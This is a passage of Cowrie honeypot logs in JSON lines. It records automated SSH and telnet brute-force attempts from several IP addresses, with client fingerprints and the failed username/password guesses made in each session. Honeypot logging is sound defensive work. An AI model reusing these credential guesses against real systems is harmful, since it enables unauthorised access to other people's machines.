af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:09:06.917210Z","src_ip":"210.183.21.53","session":"93f3d3ec8b2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"kuanke","message":"login attempt [ubuntu/kuanke] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:09:07.758542Z","src_ip":"210.183.21.53","session":"93f3d3ec8b2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:09:08.969838Z","src_ip":"210.183.21.53","session":"93f3d3ec8b2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":49940,"dst_ip":"159.203.135.109","dst_port":22,"session":"03d8e63e1f82","protocol":"ssh","message":"New connection: 72.79.42.117:49940 (159.203.135.109:22) [session: 03d8e63e1f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:09:19.408374Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:09:19.413587Z","src_ip":"72.79.42.117","session":"03d8e63e1f82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:09:19.421617Z","src_ip":"72.79.42.117","session":"03d8e63e1f82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admini","password":"admini","message":"login attempt [admini/admini] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:09:19.478050Z","src_ip":"72.79.42.117","session":"03d8e63e1f82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:09:20.486458Z","src_ip":"72.79.42.117","session":"03d8e63e1f82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":50812,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab117d4b65fe","protocol":"ssh","message":"New connection: 210.183.21.53:50812 (10.17.0.5:22) [session: ab117d4b65fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:02.716989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:02.722114Z","src_ip":"210.183.21.53","session":"ab117d4b65fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:02.927183Z","src_ip":"210.183.21.53","session":"ab117d4b65fe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ali123456","message":"login attempt [root/ali123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:03.779949Z","src_ip":"210.183.21.53","session":"ab117d4b65fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:04.988047Z","src_ip":"210.183.21.53","session":"ab117d4b65fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":37018,"dst_ip":"159.203.135.109","dst_port":22,"session":"2297f8f3e36a","protocol":"ssh","message":"New connection: 72.79.42.117:37018 (159.203.135.109:22) [session: 2297f8f3e36a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:06.615267Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:06.622694Z","src_ip":"72.79.42.117","session":"2297f8f3e36a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:06.635150Z","src_ip":"72.79.42.117","session":"2297f8f3e36a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test2020","message":"login attempt [test/test2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:06.703966Z","src_ip":"72.79.42.117","session":"2297f8f3e36a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:07.717081Z","src_ip":"72.79.42.117","session":"2297f8f3e36a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.252.223","src_port":57758,"dst_ip":"10.17.0.5","dst_port":22,"session":"5d8263b99b03","protocol":"ssh","message":"New connection: 103.149.252.223:57758 (10.17.0.5:22) [session: 5d8263b99b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:08.389395Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:08.395397Z","src_ip":"103.149.252.223","session":"5d8263b99b03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:08.400036Z","src_ip":"103.149.252.223","session":"5d8263b99b03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":45366,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b0b0a6e7638","protocol":"telnet","message":"New connection: 69.65.3.189:45366 (10.17.0.5:23) [session: 0b0b0a6e7638]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:14.254498Z"}
{"eventid":"cowrie.session.closed","duration":120.00183415412903,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:15.282021Z","src_ip":"105.172.105.4","session":"57c9d7dc4a98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00170874595642,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:18.692227Z","src_ip":"105.172.105.4","session":"71649d579e01","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.59119439125061,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:48.845541Z","src_ip":"69.65.3.189","session":"0b0b0a6e7638","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":56892,"dst_ip":"159.203.135.109","dst_port":22,"session":"e23800687148","protocol":"ssh","message":"New connection: 72.79.42.117:56892 (159.203.135.109:22) [session: e23800687148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:52.360875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:52.366174Z","src_ip":"72.79.42.117","session":"e23800687148","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:52.374783Z","src_ip":"72.79.42.117","session":"e23800687148","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"userftp","password":"user","message":"login attempt [userftp/user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:52.432898Z","src_ip":"72.79.42.117","session":"e23800687148","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:53.442471Z","src_ip":"72.79.42.117","session":"e23800687148","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":39584,"dst_ip":"10.17.0.5","dst_port":22,"session":"a821c732b17b","protocol":"ssh","message":"New connection: 210.183.21.53:39584 (10.17.0.5:22) [session: a821c732b17b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:57.329189Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:57.334572Z","src_ip":"210.183.21.53","session":"a821c732b17b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:57.534425Z","src_ip":"210.183.21.53","session":"a821c732b17b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Ubuntu2024","message":"login attempt [ubuntu/Ubuntu2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:58.356661Z","src_ip":"210.183.21.53","session":"a821c732b17b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:10:59.557183Z","src_ip":"210.183.21.53","session":"a821c732b17b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.79.42.117","src_port":41374,"dst_ip":"159.203.135.109","dst_port":22,"session":"feccb51d699a","protocol":"ssh","message":"New connection: 72.79.42.117:41374 (159.203.135.109:22) [session: feccb51d699a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:11:38.974022Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:11:38.978551Z","src_ip":"72.79.42.117","session":"feccb51d699a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:11:38.987913Z","src_ip":"72.79.42.117","session":"feccb51d699a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newftpuser","password":"newftpuser","message":"login attempt [newftpuser/newftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:11:39.050332Z","src_ip":"72.79.42.117","session":"feccb51d699a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:11:40.061275Z","src_ip":"72.79.42.117","session":"feccb51d699a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.183.21.53","src_port":56570,"dst_ip":"10.17.0.5","dst_port":22,"session":"849e1b22a2dc","protocol":"ssh","message":"New connection: 210.183.21.53:56570 (10.17.0.5:22) [session: 849e1b22a2dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:11:51.591906Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:11:51.595523Z","src_ip":"210.183.21.53","session":"849e1b22a2dc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:11:51.796687Z","src_ip":"210.183.21.53","session":"849e1b22a2dc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password1","message":"login attempt [ubuntu/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:11:52.636812Z","src_ip":"210.183.21.53","session":"849e1b22a2dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:11:53.840600Z","src_ip":"210.183.21.53","session":"849e1b22a2dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":46944,"dst_ip":"10.17.0.5","dst_port":23,"session":"bbf3c5dd8514","protocol":"telnet","message":"New connection: 69.65.3.189:46944 (10.17.0.5:23) [session: bbf3c5dd8514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:11:57.379302Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.65.3.189","src_port":51690,"dst_ip":"10.17.0.5","dst_port":23,"session":"672e37ad5f7a","protocol":"telnet","message":"New connection: 69.65.3.189:51690 (10.17.0.5:23) [session: 672e37ad5f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:12:16.745696Z"}
{"eventid":"cowrie.session.closed","duration":37.66882252693176,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:12:35.048006Z","src_ip":"69.65.3.189","session":"bbf3c5dd8514","protocol":"telnet"}
